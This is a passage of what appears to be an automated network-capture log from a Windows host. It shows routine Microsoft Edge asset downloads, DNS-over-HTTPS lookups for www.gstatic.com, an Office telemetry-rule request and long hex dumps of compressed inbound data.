2024-11-17 02:42:35 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49813	13.107.246.45	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:35 UTC	576	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:34 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 32fa03f4-d01e-004c-7ddf-37af18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T024234Z-16547b76f7fw2955hC1DFWsptc000000043g00000000k2h8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:35 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-17 02:42:35 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49815	172.64.41.3	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 02:42:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 02:42:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 02:42:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3c5e48ac11e77d-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 02:42:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2a 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom*^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49816	172.64.41.3	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 02:42:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 02:42:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 02:42:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3c5e48ac032e5a-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 02:42:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&t^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49817	162.159.61.3	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 02:42:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 02:42:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 02:42:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3c5e48bee4eb33-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 02:42:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 83 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:35 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
